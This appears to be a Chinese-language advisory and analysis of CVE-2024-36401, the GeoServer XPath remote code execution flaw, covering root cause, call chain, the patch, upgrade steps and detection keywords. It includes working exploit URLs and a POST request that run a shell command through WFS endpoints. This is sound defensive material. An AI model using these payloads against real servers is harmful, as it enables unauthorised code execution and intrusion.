CVE-2024-36401 GeoServer远程代码执行
字数 1641 2025-08-19 12:40:31
CVE-2024-36401 GeoServer远程代码执行漏洞分析与防护指南
漏洞概述
CVE-2024-36401是GeoServer中存在的一个高危远程代码执行漏洞,源于GeoServer调用的GeoTools库API在处理特性类型属性/属性名称时存在安全问题。该漏洞允许攻击者通过构造特定的XPath表达式执行任意代码。
受影响版本
- GeoServer < 2.23.6
- 2.24.0 <= GeoServer < 2.24.4
- 2.25.0 <= GeoServer < 2.25.2
漏洞原理
根本原因
GeoTools库API在评估要素类型的特征/属性名称时,以不安全的方式将属性名称传递给commons-jxpath库。该库在评估XPath表达式时可以执行任意代码。这种XPath评估本意仅用于复杂要素类型(即应用程序模式数据存储),但错误地也被应用于简单要素类型,这使得漏洞适用于所有GeoServer实例。
关键问题点
- 不安全传递:GeoTools将用户可控输入直接传递给commons-jxpath库
- XPath表达式执行:commons-jxpath库能够解析并执行包含Java方法调用的XPath表达式
- 错误应用范围:本应仅用于复杂要素类型的XPath评估被错误应用于简单要素类型
漏洞利用方式
可利用接口
漏洞可通过以下GeoServer服务接口利用:
- WFS GetFeature
- WFS GetPropertyValue
- WMS GetMap
- WMS GetFeatureInfo
- WMS GetLegendGraphic
- WPS Execute
具体利用示例
通过WFS GetPropertyValue接口
GET请求方式:
http://[target]/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch /tmp/pwn')
POST请求方式:
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml
Content-Length: 329
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"touch /tmp/pwn")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
通过WFS GetFeature接口
http://[target]/geoserver/wfs?service=wfs&version=2.0.0&request=GetFeature&typeNames=topp:states&featureID=feature&propertyName=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/pwn2')
漏洞分析
漏洞调用链
- 入口点:
org.geoserver.wfs.GetPropertyValue.run() - 参数处理:获取并处理valueReference参数
- XPath评估:调用
FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get() - 表达式编译:
org.apache.commons.jxpath.ri.compiler.Expression.compile() - 执行路径:
org.apache.commons.jxpath.ri.compiler.LocationPath.compute()org.apache.commons.jxpath.ri.compiler.ExtensionFunction.compute()org.apache.commons.jxpath.Function.invoke()
关键代码分析
漏洞触发点:
// org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get()
public Object get(Object object, String xpath, Class<T> target) throws Exception {
JXPathContext context = JXPathContext.newContext(object);
Iterator iter = context.iteratePointers(xpath);
// ...
}
危险表达式执行:
// org.apache.commons.jxpath.ri.compiler.ExtensionFunction.computeValue()
public Object computeValue(EvalContext context) {
// ...
return function.invoke(context, parameters);
}
修复方案
官方修复
-
更新GeoServer:
- 升级到GeoServer 2.23.6或更高版本
- 升级到GeoServer 2.24.4或更高版本
- 升级到GeoServer 2.25.2或更高版本
-
更新GeoTools依赖:
- 更新gt-app-schema、gt-complex和gt-xsd-core jar文件
代码修复
GeoTools添加了安全检查newSafeContext,例如:
// 修复后的FeaturePropertyAccessorFactory.get()
public Object get(Object object, String xpath, Class<T> target) throws Exception {
JXPathContext context = JXPathUtils.newSafeContext(object);
Iterator iter = context.iteratePointers(xpath);
// ...
}
新增的JXPathUtils类禁止通过XPath表达式调用Java方法:
// org.geotools.xsd.impl.jxpath.JXPathUtils
public static JXPathContext newSafeContext(Object contextBean) {
JXPathContext context = JXPathContext.newContext(contextBean);
context.setLenient(false);
context.setFactory(new SafeJXPathFactory());
return context;
}
防护建议
- 立即升级:所有受影响版本的GeoServer应立即升级到安全版本
- 网络防护:
- 限制对GeoServer管理接口的访问
- 部署WAF规则拦截可疑的XPath表达式
- 监控措施:
- 监控日志中异常的WFS/WMS请求
- 特别关注包含"exec("、"java.lang.Runtime"等关键字的请求